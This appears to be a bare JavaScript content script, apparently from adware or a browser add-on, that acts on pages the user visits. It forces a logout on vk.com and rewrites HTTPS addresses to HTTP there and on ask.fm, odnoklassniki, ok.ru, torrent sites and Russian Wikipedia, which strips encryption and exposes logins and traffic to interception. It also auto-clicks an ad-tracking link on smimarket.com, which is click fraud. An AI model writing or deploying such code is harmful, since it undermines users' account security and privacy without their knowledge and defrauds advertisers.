var url = window.location.href;
var host = document.location.host;

if (url.indexOf('http://vk.com') > -1) {
  setProtocolCookie('redirect_http_count', 0);
}

if (url.indexOf('https:') > -1) {
  if (host.indexOf('vk.com') > -1) {
    var exit = document.getElementById('logout_link');
    var signed_in = (exit != null);

    if (signed_in && (getProtocolCookie('vk_logout') == undefined || parseInt(getProtocolCookie('redirect_http_count')) > 1)) {
      setProtocolCookie('vk_logout', true);
      fireClick(document.getElementById('logout_link'));
    } else {
      var new_value =  parseInt(getProtocolCookie('redirect_http_count')) + 1;
      setProtocolCookie('redirect_http_count', new_value);
      window.location.href = url.replace('https:', 'http:');
    }
  }
  else if (host.indexOf('ask.fm') > -1 || host.indexOf('odnoklassniki.ru') > -1 || host.indexOf('ok.ru') > -1 || host.indexOf('rutor.org') > -1 || host.indexOf('torrent') > -1 || host.indexOf('rutracker') > -1 || host.indexOf('ru.wikipedia.org') > -1) {
    window.location.href = url.replace('https:', 'http:');
  }
}

var follow_link = 'http://smimarket.com/site/page/view/prev';
var follow_elem = document.querySelectorAll('.hero-unit a.btn');
if (!url.indexOf(follow_link) && follow_elem[0]) {
  if (!follow_elem[0].href.indexOf('http://smimarket.com/show/click.php')) {
    fireClick(follow_elem[0]);
  }
}